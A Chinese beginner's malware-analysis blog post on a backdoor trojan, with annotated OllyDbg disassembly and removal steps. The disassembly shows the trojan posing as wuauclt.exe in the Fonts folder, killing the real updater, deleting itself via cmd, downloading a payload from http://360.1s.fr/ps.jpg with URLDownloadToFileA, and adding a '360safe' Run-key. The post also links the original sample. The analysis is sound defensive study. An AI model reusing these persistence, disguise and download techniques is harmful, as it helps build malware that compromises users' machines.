一个后门木马的简单分析

菜鸟第一次分析，求大牛指点

下载链接：http://www.cnblogs.com/Joy7/admin/Files.aspx 名字：原样本解压密码：JoyChou

病毒描述：

运行样本过后，首先病毒提升自身权限

在windows根目录下面生成一个sa.exe目录，并且设置改目录属性为隐藏只读

然后调用cmd和taskkill结束wuauclt.exe进程(Wuauclt.exe是Windows自动升级管理程序,该进程会不断在线检测更新,删除该进程将使计算机无法得到最新更新信息)

接着判断病毒的进程是否来自C:\WINDOWS\Fonts\wuauclt.exe，

如果不是就将病毒原样本拷贝到C:\WINDOWS\Fonts目录下,并且改名为wuauclt.exe（伪装为Windows自动升级管理程序）

如果是则加载系统动态库文件“urlmon.dll”，并调用该库里的"URLDownloadToFileA"函数，连接网络下载病毒文件并保存到C:\WINDOWS\Fonts\gern.fon目录下，

比较该目录文件是否存在，如果不存在则弹出一个消息框退出，如存在则创建多个线程，创建注册表启动项。

行为分析：

1、病毒运行后，会释放以下文件

C:WINDOWS\Fonts\wuauclt.exe

C:WINDOWS\Fonts\gern.fon

2、修改注册表

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\explorer\run\360safe
值: 字符串: "C:\WINDOWS\Fonts\wuauclt.exe"
描述：添加病毒启动项

3、用命令行“cmd /c taskkill /im wuauclt.exe /f”结束“wuauclt.exe”Windows自动升级管理程序进程，被启动后的病毒判断自身进程路径是否来自“\fonts\wuauclt.exe”目录下，如不是则重新创建、如是加载系统动态库文件“urlmon.dll”，并调用该库里的"URLDownloadToFileA"函数，连接网络：http://360.1s.fr/ps.jpg下载病毒文件并保存到"C:\WINDOWS\Fonts\gern.fon"字体库目录下。

4、比较C:\WINDOWS\Fonts\gern.fon该目录文件是否存在，如果不存在则弹出标题为“http”内存为“qq935623508”的消息框然后退出，如果存在则修改注册表并添加开机启动项。

具体分析：


首先：该病毒加了一个UPX的壳，esp定律脱了就是了（好久没脱壳了，差点都不会了，=_=）

提升病毒自身权限
0040214D    E8 7EF4FFFF     call unpack.004015D0                                 ; //F7进入如下

004015D3    FF15 54304000   call dword ptr ds:[<&kernel32.GetCurrentProcess>]    ; 获取当前病毒进程
004015D9    8D4C24 00       lea ecx,dword ptr ss:[esp]
004015DD    51              push ecx
004015DE    6A 28           push 0x28
004015E0    50              push eax                                             ; 返回的进程伪句柄
004015E1    FF15 10304000   call dword ptr ds:[<&advapi32.OpenProcessToken>]     ; advapi32.OpenProcessToken
004015E7    85C0            test eax,eax
004015E9    74 49           je short unpack.00401634
004015EB    8D5424 08       lea edx,dword ptr ss:[esp+0x8]
004015EF    52              push edx
004015F0    68 E47C4000     push unpack.00407CE4                                 ; ASCII "SeDebugPrivilege"
004015F5    6A 00           push 0x0
004015F7    FF15 14304000   call dword ptr ds:[<&advapi32.LookupPrivilegeValueA>>; advapi32.LookupPrivilegeValueA
004015FD    85C0            test eax,eax
004015FF    74 28           je short unpack.00401629
00401601    8B4C24 00       mov ecx,dword ptr ss:[esp]                           ; unpack.00402152
00401605    6A 00           push 0x0
00401607    6A 00           push 0x0
00401609    8D4424 0C       lea eax,dword ptr ss:[esp+0xC]
0040160D    6A 00           push 0x0
0040160F    50              push eax
00401610    6A 00           push 0x0
00401612    51              push ecx
00401613    C74424 1C 01000>mov dword ptr ss:[esp+0x1C],0x1
0040161B    C74424 28 02000>mov dword ptr ss:[esp+0x28],0x2
00401623    FF15 18304000   call dword ptr ds:[<&advapi32.AdjustTokenPrivileges>>; advapi32.AdjustTokenPrivileges
00401629    8B5424 00       mov edx,dword ptr ss:[esp]                           ; unpack.00402152
0040162D    52              push edx
0040162E    FF15 A0304000   call dword ptr ds:[<&kernel32.CloseHandle>]          ; kernel32.CloseHandle
00401634    83C4 14         add esp,0x14
00401637    C3              retn

//判断病毒自身进程路径是否来自“\fonts\wuauclt.exe”目录下

00402172    FF15 7C304000   call dword ptr ds:[<&kernel32.GetWindows>; 获取windows的目录即C:\WINDOWS
00402178    BF 047D4000     mov edi,unpack.00407D04                  ; ASCII "\Fonts\wuauclt.exe"
0040217D    83C9 FF         or ecx,-0x1
00402180    33C0            xor eax,eax
00402182    8D95 5CFEFFFF   lea edx,dword ptr ss:[ebp-0x1A4]
00402188    F2:AE           repne scas byte ptr es:[edi]
0040218A    F7D1            not ecx
0040218C    2BF9            sub edi,ecx
0040218E    68 687F4000     push unpack.00407F68                     ; ont 即 font文件夹里面的ont，比较用的
00402193    8BF7            mov esi,edi                              ; ntdll.7C930228
00402195    8BD9            mov ebx,ecx
00402197    8BFA            mov edi,edx                              ; ntdll.KiFastSystemCallRet
00402199    83C9 FF         or ecx,-0x1
0040219C    F2:AE           repne scas byte ptr es:[edi]
0040219E    8BCB            mov ecx,ebx
004021A0    4F              dec edi                                  ; ntdll.7C930228
004021A1    C1E9 02         shr ecx,0x2
004021A4    F3:A5           rep movs dword ptr es:[edi],dword ptr ds>
004021A6    8BCB            mov ecx,ebx
004021A8    8D85 54FCFFFF   lea eax,dword ptr ss:[ebp-0x3AC]
004021AE    83E1 03         and ecx,0x3
004021B1    50              push eax
004021B2    F3:A4           rep movs byte ptr es:[edi],byte ptr ds:[>
004021B4    E8 27030000     call unpack.004024E0                     ; 判断自身进程路径是否来自“C:WINDOWS\fonts\wuauclt.exe”目录下
004021B9    83C4 08         add esp,0x8
004021BC    85C0            test eax,eax
004021BE    0F84 DA010000   je unpack.0040239E                       ; 如果不是，则跳转。如果是则跳转

如果不是来自C:WINDOWS\Fonts\wuauclt.exe，则跳转，重新创建
0040239E    68 307F4000     push unpack.00407F30                     ; 路径C:\sa.exe
004023A3    E8 4E020000     call unpack.004025F6                     ; 创建C:\sa.exe目录
004023A8    8B35 88304000   mov esi,dword ptr ds:[<&kernel32.Sleep>] ; kernel32.Sleep
004023AE    83C4 04         add esp,0x4
004023B1    6A 64           push 0x64
004023B3    FFD6            call esi
004023B5    6A 03           push 0x3                                 ; 属性为：READONLY|HIDDEN
004023B7    68 307F4000     push unpack.00407F30                     ; ASCII "C:\sa.exe"
004023BC    FF15 9C304000   call dword ptr ds:[<&kernel32.SetFileAtt>; 设置文件夹属性为隐藏
004023C2    8B1D 28304000   mov ebx,dword ptr ds:[<&kernel32.WinExec>; kernel32.WinExec
004023C8    6A 00           push 0x0
004023CA    68 0C7F4000     push unpack.00407F0C                     ; ASCII "cmd /c taskkill /im wuauclt.exe /f"
004023CF    FFD3            call ebx                                 ; 调用cmd和taskkill，结束wuauclt.exe进程
004023D1    68 D0070000     push 0x7D0
004023D6    FFD6            call esi
004023D8    8D8D 5CFEFFFF   lea ecx,dword ptr ss:[ebp-0x1A4]
004023DE    6A 00           push 0x0                                 ; 判断病毒的进程是否来自C:\WINDOWS\Fonts\wuauclt.exe
004023E0    8D95 54FCFFFF   lea edx,dword ptr ss:[ebp-0x3AC]
004023E6    51              push ecx                                 ; 复制后的文件：C:\WINDOWS\Fonts\wuauclt.exe
004023E7    52              push edx                                 ; 病毒源文件
004023E8    FF15 50304000   call dword ptr ds:[<&kernel32.CopyFileA>>; 将病毒源文件拷贝到C:\WINDOWS\Fonts\wuauclt.exe
004023EE    68 A00F0000     push 0xFA0
004023F3    FFD6            call esi
004023F5    8D85 5CFEFFFF   lea eax,dword ptr ss:[ebp-0x1A4]
004023FB    6A 00           push 0x0
004023FD    50              push eax
004023FE    FFD3            call ebx                                 ; 运行wuauclt.exe
00402400    B9 18000000     mov ecx,0x18
00402405    33C0            xor eax,eax
00402407    8DBD 61FFFFFF   lea edi,dword ptr ss:[ebp-0x9F]
0040240D    C685 60FFFFFF 0>mov byte ptr ss:[ebp-0xA0],0x0
00402414    F3:AB           rep stos dword ptr es:[edi]
00402416    66:AB           stos word ptr es:[edi]
00402418    AA              stos byte ptr es:[edi]
00402419    BF 007F4000     mov edi,unpack.00407F00                  ; ASCII "cmd /c del "
0040241E    83C9 FF         or ecx,-0x1
00402421    33C0            xor eax,eax
00402423    8D95 60FFFFFF   lea edx,dword ptr ss:[ebp-0xA0]
00402429    F2:AE           repne scas byte ptr es:[edi]
0040242B    F7D1            not ecx
0040242D    2BF9            sub edi,ecx
0040242F    8BC1            mov eax,ecx
00402431    8BF7            mov esi,edi                              ; ntdll.7C930228
00402433    8BFA            mov edi,edx                              ; ntdll.KiFastSystemCallRet
00402435    C1E9 02         shr ecx,0x2
00402438    F3:A5           rep movs dword ptr es:[edi],dword ptr ds>
0040243A    8BC8            mov ecx,eax
0040243C    83E1 03         and ecx,0x3
0040243F    F3:A4           rep movs byte ptr es:[edi],byte ptr ds:[>
00402441    FF15 4C304000   call dword ptr ds:[<&kernel32.GetCommand>; kernel32.GetCommandLineA
00402447    8BF8            mov edi,eax
00402449    83C9 FF         or ecx,-0x1
0040244C    33C0            xor eax,eax
0040244E    8D95 60FFFFFF   lea edx,dword ptr ss:[ebp-0xA0]
00402454    F2:AE           repne scas byte ptr es:[edi]
00402456    F7D1            not ecx
00402458    2BF9            sub edi,ecx
0040245A    50              push eax
0040245B    8BF7            mov esi,edi                              ; ntdll.7C930228
0040245D    8BFA            mov edi,edx                              ; ntdll.KiFastSystemCallRet
0040245F    8BD1            mov edx,ecx
00402461    83C9 FF         or ecx,-0x1
00402464    F2:AE           repne scas byte ptr es:[edi]
00402466    8BCA            mov ecx,edx                              ; ntdll.KiFastSystemCallRet
00402468    4F              dec edi                                  ; ntdll.7C930228
00402469    C1E9 02         shr ecx,0x2
0040246C    F3:A5           rep movs dword ptr es:[edi],dword ptr ds>
0040246E    8BCA            mov ecx,edx                              ; ntdll.KiFastSystemCallRet
00402470    8D85 60FFFFFF   lea eax,dword ptr ss:[ebp-0xA0]
00402476    83E1 03         and ecx,0x3
00402479    50              push eax                                 ; cmd /c del "原样本路径"
0040247A    F3:A4           rep movs byte ptr es:[edi],byte ptr ds:[>
0040247C    FFD3            call ebx                                 ; 调用cmd，删除自身

如果来自C:WINDOWS\Fonts\wuauclt.exe，则修改注册表，创建多线程
004021C4    33C9            xor ecx,ecx
004021C6    8D55 EC         lea edx,dword ptr ss:[ebp-0x14]
004021C9    894D ED         mov dword ptr ss:[ebp-0x13],ecx
004021CC    52              push edx
004021CD    894D F1         mov dword ptr ss:[ebp-0xF],ecx
004021D0    68 B87D4000     push unpack.00407DB8                           ; ASCII "khbced$Zbb"
004021D5    894D F5         mov dword ptr ss:[ebp-0xB],ecx
004021D8    C645 EC 00      mov byte ptr ss:[ebp-0x14],0x0
004021DC    894D F9         mov dword ptr ss:[ebp-0x7],ecx
004021DF    66:894D FD      mov word ptr ss:[ebp-0x3],cx
004021E3    884D FF         mov byte ptr ss:[ebp-0x1],cl
004021E6    E8 25F1FFFF     call unpack.00401310                           ; 解密urlmon.dll（khbced$Zbb依次+A）
004021EB    83C4 08         add esp,0x8
004021EE    90              nop　　//省略很多nop00402216    8D45 EC         lea eax,dword ptr ss:[ebp-0x14]
00402219    50              push eax
0040221A    FF15 38304000   call dword ptr ds:[<&kernel32.LoadLibraryA>]   ; 加载urlmon.dll
00402220    8BD8            mov ebx,eax
00402222    B9 09000000     mov ecx,0x9
00402227    33C0            xor eax,eax
00402229    8D7D C5         lea edi,dword ptr ss:[ebp-0x3B]
0040222C    C645 C4 00      mov byte ptr ss:[ebp-0x3C],0x0
00402230    C685 60FFFFFF 0>mov byte ptr ss:[ebp-0xA0],0x0
00402237    F3:AB           rep stos dword ptr es:[edi]
00402239    66:AB           stos word ptr es:[edi]
0040223B    AA              stos byte ptr es:[edi]
0040223C    B9 18000000     mov ecx,0x18
00402241    33C0            xor eax,eax
00402243    8DBD 61FFFFFF   lea edi,dword ptr ss:[ebp-0x9F]
00402249    F3:AB           rep stos dword ptr es:[edi]
0040224B    66:AB           stos word ptr es:[edi]
0040224D    8D4D C4         lea ecx,dword ptr ss:[ebp-0x3C]
00402250    51              push ecx
00402251    68 A47D4000     push unpack.00407DA4                           ; ASCII "KHB:emdbeWZJe<_b[7"
00402256    AA              stos byte ptr es:[edi]
00402257    E8 B4F0FFFF     call unpack.00401310                           ; 解密URLDownLoadTofileA字符串
0040225C    83C4 08         add esp,0x8
0040225F    8D55 C4         lea edx,dword ptr ss:[ebp-0x3C]
00402262    52              push edx
00402263    53              push ebx
00402264    FF15 34304000   call dword ptr ds:[<&kernel32.GetProcAddress>] ; 得到urlmon.dll中函数URLDownLoadTofileA的地址
0040226A    A3 D88C4000     mov dword ptr ds:[0x408CD8],eax                ; 将地址赋给全局变量0x408CD8
0040226F    8D85 58FDFFFF   lea eax,dword ptr ss:[ebp-0x2A8]
00402275    68 04010000     push 0x104
0040227A    50              push eax
0040227B    FF15 7C304000   call dword ptr ds:[<&kernel32.GetWindowsDirect>; kernel32.GetWindowsDirectoryA
00402281    BF D47C4000     mov edi,unpack.00407CD4                        ; ASCII "\Fonts\gern.fon"
00402286    83C9 FF         or ecx,-0x1
00402289    33C0            xor eax,eax
0040228B    8D95 58FDFFFF   lea edx,dword ptr ss:[ebp-0x2A8]
00402291    F2:AE           repne scas byte ptr es:[edi]
00402293    F7D1            not ecx
00402295    2BF9            sub edi,ecx
00402297    8BF7            mov esi,edi
00402299    8BFA            mov edi,edx
0040229B    8BD1            mov edx,ecx
0040229D    83C9 FF         or ecx,-0x1
004022A0    F2:AE           repne scas byte ptr es:[edi]
004022A2    8BCA            mov ecx,edx
004022A4    4F              dec edi
004022A5    C1E9 02         shr ecx,0x2
004022A8    F3:A5           rep movs dword ptr es:[edi],dword ptr ds:[esi]
004022AA    8BCA            mov ecx,edx
004022AC    8D85 60FFFFFF   lea eax,dword ptr ss:[ebp-0xA0]
004022B2    83E1 03         and ecx,0x3
004022B5    50              push eax
004022B6    F3:A4           rep movs byte ptr es:[edi],byte ptr ds:[esi]
004022B8    68 507F4000     push unpack.00407F50                           ; ASCII "^jjf0%%),&$'i$\h%fi$`f]"
004022BD    E8 4EF0FFFF     call unpack.00401310                           ; 解密http://360.1s.fr/ps.jpg字符串
004022C2    83C4 08         add esp,0x8
004022C5    8D8D 58FDFFFF   lea ecx,dword ptr ss:[ebp-0x2A8]               ; C:\WINDOWS\Fonts\gern.fon
004022CB    8D95 60FFFFFF   lea edx,dword ptr ss:[ebp-0xA0]                ; http://360.1s.fr/ps.jpg
004022D1    6A 00           push 0x0
004022D3    6A 00           push 0x0
004022D5    51              push ecx                                       ; 下载后保存的文件名
004022D6    52              push edx                                       ; 要下载的url地址
004022D7    6A 00           push 0x0
004022D9    FF15 D88C4000   call dword ptr ds:[0x408CD8]                   ; 调用URLDownloadToFileA函数
                                        但是这个病毒已经很久了，链接已经失效
004022DF    68 10270000     push 0x2710
004022E4    FF15 88304000   call dword ptr ds:[<&kernel32.Sleep>]          ; kernel32.Sleep
004022EA    53              push ebx
004022EB    FF15 30304000   call dword ptr ds:[<&kernel32.FreeLibrary>]    ; 释放urlmon.dll
004022F1    8D85 58FDFFFF   lea eax,dword ptr ss:[ebp-0x2A8]
004022F7    50              push eax
004022F8    FF15 2C304000   call dword ptr ds:[<&kernel32.GetFileAttribute>; 获取C:\WINDOWS\Fonts\gern.fon文件夹属性
004022FE    83F8 FF         cmp eax,-0x1                                   ; 判断C:\WINDOWS\Fonts\gern.fon是否存在
00402301    6A 00           push 0x0
00402303    75 1E           jnz short unpack.00402323                      ; 存在则跳转
00402305    68 487F4000     push unpack.00407F48                           ; ASCII "http"
0040230A    68 3C7F4000     push unpack.00407F3C                           ; ASCII "qq935623508"
0040230F    6A FF           push -0x1
00402311    FF15 B0304000   call dword ptr ds:[<&user32.MessageBoxA>]      ; user32.MessageBoxA

在C:\WINDOWS\Fonts里不能右键新建，这里我通过cmd命令，cd C:\WINDOWS\Fonts ;md gern.fon; cd gern.fon; 这样就创建成功了，不过还是在Fonts文件夹里看不到，这里我们crtl+F搜索下，就发现了这个文件夹~~


创建多线程
00402323    8B35 58304000   mov esi,dword ptr ds:[<&kernel32.CreateThread>]       ; kernel32.CreateThread
00402329    6A 00           push 0x0
0040232B    6A 00           push 0x0
0040232D    68 801F4000     push unpack.00401F80
00402332    6A 00           push 0x0
00402334    6A 00           push 0x0
00402336    FFD6            call esi                                              ; kernel32.CreateThread
00402338    6A 00           push 0x0
0040233A    6A 00           push 0x0
0040233C    6A 00           push 0x0
0040233E    68 301C4000     push unpack.00401C30
00402343    6A 00           push 0x0
00402345    6A 00           push 0x0
00402347    FFD6            call esi                                              ; kernel32.CreateThread
00402349    6A 00           push 0x0
0040234B    6A 00           push 0x0
0040234D    6A 00           push 0x0
0040234F    68 F0194000     push unpack.004019F0
00402354    6A 00           push 0x0
00402356    6A 00           push 0x0
00402358    FFD6            call esi                                              ; kernel32.CreateThread
0040235A    6A 00           push 0x0
0040235C    6A 00           push 0x0
0040235E    6A 00           push 0x0
00402360    68 40164000     push unpack.00401640
00402365    6A 00           push 0x0
00402367    6A 00           push 0x0
00402369    FFD6            call esi                                              ; kernel32.CreateThread
0040236B    6A 00           push 0x0
0040236D    6A 00           push 0x0
0040236F    6A 00           push 0x0
00402371    68 50174000     push unpack.00401750
00402376    6A 00           push 0x0
00402378    6A 00           push 0x0
0040237A    FFD6            call esi                                              ; kernel32.CreateThread
0040237C    6A 00           push 0x0
0040237E    6A 00           push 0x0
00402380    6A 00           push 0x0
00402382    68 701D4000     push unpack.00401D70
00402387    6A 00           push 0x0
00402389    6A 00           push 0x0
0040238B    FFD6            call esi                                              ; kernel32.CreateThread
0040238D    E8 CEF2FFFF     call unpack.00401660                                  ; 添加病毒启动项 00402392    5F              pop edi                                               ; ntdll.7C930228
00402393    5E              pop esi                                               ; ntdll.7C930228
00402394    B8 01000000     mov eax,0x1
00402399    5B              pop ebx                                               ; ntdll.7C930228
0040239A    8BE5            mov esp,ebp
0040239C    5D              pop ebp                                               ; ntdll.7C930228
0040239D    C3              retn

添加病毒启动项 00401660    81EC 08010000   sub esp,0x108
00401666    8D4424 00       lea eax,dword ptr ss:[esp]
0040166A    50              push eax
0040166B    68 247D4000     push unpack.00407D24                                  ; ASCII "Software\Microsoft\Windows\CurrentVersion\policies"
00401670    68 02000080     push 0x80000002
00401675    FF15 20304000   call dword ptr ds:[<&advapi32.RegOpenKeyA>]           ; advapi32.RegOpenKeyA
0040167B    85C0            test eax,eax
0040167D    0F85 B7000000   jnz unpack.0040173A
00401683    8B5424 00       mov edx,dword ptr ss:[esp]                            ; unpack.00402392
00401687    53              push ebx                                              ; urlmon.78130000
00401688    8B1D 04304000   mov ebx,dword ptr ds:[<&advapi32.RegCreateKeyA>]      ; 打开注册表Software\Microsoft\Windows\CurrentVersion\policies\explorer
0040168E    55              push ebp
0040168F    56              push esi                                              ; kernel32.CreateThread
00401690    8D4C24 0C       lea ecx,dword ptr ss:[esp+0xC]
00401694    57              push edi
00401695    51              push ecx                                              ; kernel32.7C8106A3
00401696    68 187D4000     push unpack.00407D18                                  ; ASCII "explorer"
0040169B    52              push edx                                              ; ntdll.KiFastSystemCallRet
0040169C    FFD3            call ebx                                              ; urlmon.78130000
0040169E    8B2D 08304000   mov ebp,dword ptr ds:[<&advapi32.RegCloseKey>]        ; advapi32.RegCloseKey
004016A4    85C0            test eax,eax
004016A6    74 07           je short unpack.004016AF
004016A8    8B4424 10       mov eax,dword ptr ss:[esp+0x10]
004016AC    50              push eax
004016AD    FFD5            call ebp
004016AF    8D4C24 14       lea ecx,dword ptr ss:[esp+0x14]
004016B3    68 04010000     push 0x104
004016B8    51              push ecx                                              ; kernel32.7C8106A3
004016B9    FF15 7C304000   call dword ptr ds:[<&kernel32.GetWindowsDirectoryA>]  ; kernel32.GetWindowsDirectoryA
004016BF    BF 047D4000     mov edi,unpack.00407D04                               ; ASCII "\Fonts\wuauclt.exe"
004016C4    83C9 FF         or ecx,-0x1
004016C7    33C0            xor eax,eax
004016C9    8D5424 14       lea edx,dword ptr ss:[esp+0x14]
004016CD    F2:AE           repne scas byte ptr es:[edi]
004016CF    F7D1            not ecx                                               ; kernel32.7C8106A3
004016D1    2BF9            sub edi,ecx                                           ; kernel32.7C8106A3
004016D3    8BF7            mov esi,edi
004016D5    8BFA            mov edi,edx                                           ; ntdll.KiFastSystemCallRet
004016D7    8BD1            mov edx,ecx                                           ; kernel32.7C8106A3
004016D9    83C9 FF         or ecx,-0x1
004016DC    F2:AE           repne scas byte ptr es:[edi]
004016DE    8BCA            mov ecx,edx                                           ; ntdll.KiFastSystemCallRet
004016E0    4F              dec edi
004016E1    C1E9 02         shr ecx,0x2
004016E4    F3:A5           rep movs dword ptr es:[edi],dword ptr ds:[esi]
004016E6    8BCA            mov ecx,edx                                           ; ntdll.KiFastSystemCallRet
004016E8    8D4424 10       lea eax,dword ptr ss:[esp+0x10]
004016EC    83E1 03         and ecx,0x3
004016EF    50              push eax
004016F0    F3:A4           rep movs byte ptr es:[edi],byte ptr ds:[esi]
004016F2    8B4C24 14       mov ecx,dword ptr ss:[esp+0x14]
004016F6    68 007D4000     push unpack.00407D00                                  ; ASCII "run"
004016FB    51              push ecx                                              ; kernel32.7C8106A3
004016FC    FFD3            call ebx                                              ; 新建注册表Software\Microsoft\Windows\CurrentVersion\policies\run
004016FE    8D7C24 14       lea edi,dword ptr ss:[esp+0x14]
00401702    83C9 FF         or ecx,-0x1
00401705    33C0            xor eax,eax
00401707    8D5424 14       lea edx,dword ptr ss:[esp+0x14]
0040170B    F2:AE           repne scas byte ptr es:[edi]
0040170D    F7D1            not ecx                                               ; kernel32.7C8106A3
0040170F    51              push ecx                                              ; kernel32.7C8106A3
00401710    52              push edx                                              ; ntdll.KiFastSystemCallRet
00401711    6A 01           push 0x1
00401713    50              push eax
00401714    8B4424 20       mov eax,dword ptr ss:[esp+0x20]
00401718    68 F87C4000     push unpack.00407CF8                                  ; 新建项为360safe
0040171D    50              push eax                                              ; 值为C:\WINDOWS\Fonts\wuauclt.exe
0040171E    FF15 0C304000   call dword ptr ds:[<&advapi32.RegSetValueExA>]        ; 添加病毒启动项
00401724    85C0            test eax,eax
00401726    74 07           je short unpack.0040172F
00401728    8B4C24 10       mov ecx,dword ptr ss:[esp+0x10]
0040172C    51              push ecx                                              ; kernel32.7C8106A3
0040172D    FFD5            call ebp
0040172F    8B5424 10       mov edx,dword ptr ss:[esp+0x10]
00401733    52              push edx                                              ; ntdll.KiFastSystemCallRet
00401734    FFD5            call ebp
00401736    5F              pop edi                                               ; unpack.00402392
00401737    5E              pop esi                                               ; unpack.00402392
00401738    5D              pop ebp                                               ; unpack.00402392
00401739    5B              pop ebx                                               ; unpack.00402392
0040173A    81C4 08010000   add esp,0x108
00401740    C3              retn

清除方案：

首先用杀软360杀毒

貌似不怎么有用

强行删除病毒文件

C:\WINDOWS\Fonts\gern.fon

C:\WINDOWS\Fonts\wuauclt.exe

C:\WINDOWS\sa.exe

删除注册表

HKLM\Software\Microsoft\Windows\CurrentVersion\policies\run\360safe

PS:第一次分析就分析了一个后门的木马，确实很菜很新手很不会，而且还有很多应该还没分析完，以后应该多用IDA分析，OD分析太慢了，忘大牛指点，我也正在学习。

机器学习与深度学习间关系与区别 ℒℴѵℯ心·动ꦿ໊ོ꫞ 人工智能学习深度学习 python
一、机器学习概述定义机器学习（MachineLearning,ML）是一种通过数据驱动的方法，利用统计学和计算算法来训练模型，使计算机能够从数据中学习并自动进行预测或决策。机器学习通过分析大量数据样本，识别其中的模式和规律，从而对新的数据进行判断。其核心在于通过训练过程，让模型不断优化和提升其预测准确性。主要类型1.监督学习（SupervisedLearning）监督学习是指在训练数据集中包含输入
地推话术，如何应对地推过程中家长的拒绝校师学
相信校长们在做地推的时候经常遇到这种情况：市场专员反馈家长不接单，咨询师反馈难以邀约这些家长上门，校区地推疲软，招生难。为什么？仅从地推层面分析，一方面因为家长受到的信息轰炸越来越多，对信息越来越“免疫”；而另一方面地推人员的专业能力和营销话术没有提高，无法应对家长的拒绝，对有意向的家长也不知如何跟进，眼睁睁看着家长走远；对于家长的疑问，更不知道如何有技巧地回答，机会白白流失。由于回答没技巧和专业
扫地机类清洁产品之直流无刷电机控制悟空胆好小清洁服务机器人单片机人工智能
扫地机类清洁产品之直流无刷电机控制1.1前言扫地机产品有很多的电机控制，滚刷电机1个，边刷电机1-2个，清水泵电机，风机一个，部分中高端产品支持抹布功能，也就是存在抹布盘电机，还有追觅科沃斯石头等边刷抬升电机，滚刷抬升电机等的，这些电机有直流有刷电机，直接无刷电机，步进电机，电磁阀，挪动泵等不同类型。电机的原理，驱动控制方式也不行。接下来一段时间的几个文章会作个专题分析分享。直流有刷电机会自动持续
店群合一模式下的社区团购新发展——结合链动 2+1 模式、AI 智能名片与 S2B2C 商城小程序源码说私域人工智能小程序
摘要：本文探讨了店群合一的社区团购平台在当今商业环境中的重要性和优势。通过分析店群合一模式如何将互联网社群与线下终端紧密结合，阐述了链动2+1模式、AI智能名片和S2B2C商城小程序源码在这一模式中的应用价值。这些创新元素的结合为社区团购带来了新的机遇，提升了用户信任感、拓展了营销渠道，并实现了线上线下的完美融合。一、引言随着互联网技术的不断发展，社区团购作为一种新兴的商业模式，在满足消费者日常需
抖音乐买买怎么加入赚钱?赚钱方法是什么测评君高省
你会在抖音买东西吗?如果会，那么一定要免费注册一个乐买买，抖音直播间，橱窗，小视频里的小黄车买东西都可以返佣金!省下来都是自己的，分享还可以赚钱乐买买是好省旗下的抖音返佣平台，乐买买分析社交电商的价值，乐买买属于今年难得的副业项目风口机会，2019年错过做好省的搞钱的黄金时期，那么2022年千万别再错过乐买买至于我为何转到高省呢？当然是高省APP佣金更高，模式更好，终端用户不流失。【高省】是一个自
Python数据分析与可视化实战指南 William数据分析 python python 数据
在数据驱动的时代，Python因其简洁的语法、强大的库生态系统以及活跃的社区，成为了数据分析与可视化的首选语言。本文将通过一个详细的案例，带领大家学习如何使用Python进行数据分析，并通过可视化来直观呈现分析结果。一、环境准备1.1安装必要库在开始数据分析和可视化之前，我们需要安装一些常用的库。主要包括pandas、numpy、matplotlib和seaborn等。这些库分别用于数据处理、数学
Pyecharts数据可视化大屏：打造沉浸式数据分析体验我的运维人生信息可视化数据分析数据挖掘运维开发技术共享
Pyecharts数据可视化大屏：打造沉浸式数据分析体验在当今这个数据驱动的时代，如何将海量数据以直观、生动的方式展现出来，成为了数据分析师和企业决策者关注的焦点。Pyecharts，作为一款基于Python的开源数据可视化库，凭借其丰富的图表类型、灵活的配置选项以及高度的定制化能力，成为了构建数据可视化大屏的理想选择。本文将深入探讨如何利用Pyecharts打造数据可视化大屏，并通过实际代码案例
18-115 一切思考不能有效转化为行动，都TM是扯淡！成长时间线
7月25号写了一篇关于为什么会断更如此严重的反思，然而，之后日更仅仅维持了一周，又出现了这次更严重的现象。从8月2号到昨天8月6号，5天！又是5天没有更文！虽然这次断更时间和上次一样，那为什么说这次更严重？因为上次之后就分析了问题的原因，以及应该如何解决，按理说应该会好转，然而，没过几天严重断更的现象再次出现，想想，经过反思，问题依然没有解决与改变，这让我有些担忧。到底是哪里出了问题，难道我就真的
高端密码学院笔记285 柚子_b4b4
高端幸福密码学院（高级班）幸福使者：李华第（598）期《幸福》之回归内在深层生命原动力基础篇——揭秘“激励”成长的喜悦心理案例分析主讲：刘莉一，知识扩充:成功=艰苦劳动+正确方法+少说空话。贪图省力的船夫，目标永远下游。智者的梦再美，也不如愚人实干的脚印。幸福早课堂2020.10.16星期五一笔记:1，重视和珍惜的前提是知道它的价值非常重要，当你珍惜了，你就真正定下来，真正的学到身上。2，大家需要
Day1笔记-Python简介&标识符和关键字&输入输出 ~在杰难逃~ Python python 开发语言大数据数据分析数据挖掘
大家好，从今天开始呢，杰哥开展一个新的专栏，当然，数据分析部分也会不定时更新的，这个新的专栏主要是讲解一些Python的基础语法和知识，帮助0基础的小伙伴入门和学习Python，感兴趣的小伙伴可以开始认真学习啦！一、Python简介【了解】1.计算机工作原理编程语言就是用来定义计算机程序的形式语言。我们通过编程语言来编写程序代码，再通过语言处理程序执行向计算机发送指令，让计算机完成对应的工作，编程
pyecharts——绘制柱形图折线图 2224070247 信息可视化 python java 数据可视化
一、pyecharts概述自2013年6月百度EFE(ExcellentFrontEnd）数据可视化团队研发的ECharts1.0发布到GitHub网站以来，ECharts一直备受业界权威的关注并获得广泛好评，成为目前成熟且流行的数据可视化图表工具，被应用到诸多数据可视化的开发领域。Python作为数据分析领域最受欢迎的语言，也加入ECharts的使用行列，并研发出方便Python开发者使用的数据
数据仓库——维度表一致性墨染丶eye 背诵数据仓库
数据仓库基础笔记思维导图已经整理完毕，完整连接为：数据仓库基础知识笔记思维导图维度一致性问题从逻辑层面来看，当一系列星型模型共享一组公共维度时，所涉及的维度称为一致性维度。当维度表存在不一致时，短期的成功难以弥补长期的错误。维度时确保不同过程中信息集成起来实现横向钻取货活动的关键。造成横向钻取失败的原因维度结构的差别，因为维度的差别，分析工作涉及的领域从简单到复杂，但是都是通过复杂的报表来弥补设计
闲鱼鱼小铺怎么开通？鱼小铺开通需要哪些流程？高省APP大九
闲鱼鱼小铺是平台推出的一个专业程度的店铺，与普通店铺相比会有更多的权益，比如说发布的商品数量从50增加到500；拥有专业的店铺数据看板与分析的功能，这对于专门在闲鱼做生意的用户来说是非常有帮助的，那么鱼小铺每个人都能开通吗？大家好，我是高省APP联合创始人蓓蓓导师，高省APP是2021年推出的电商导购平台，0投资，0风险、高省APP佣金更高，模式更好，终端用户不流失。【高省】是一个可省钱佣金高，能
2019-11-04复盘——飞来山上千寻塔，闻说鸡鸣见日升。那一叶秋
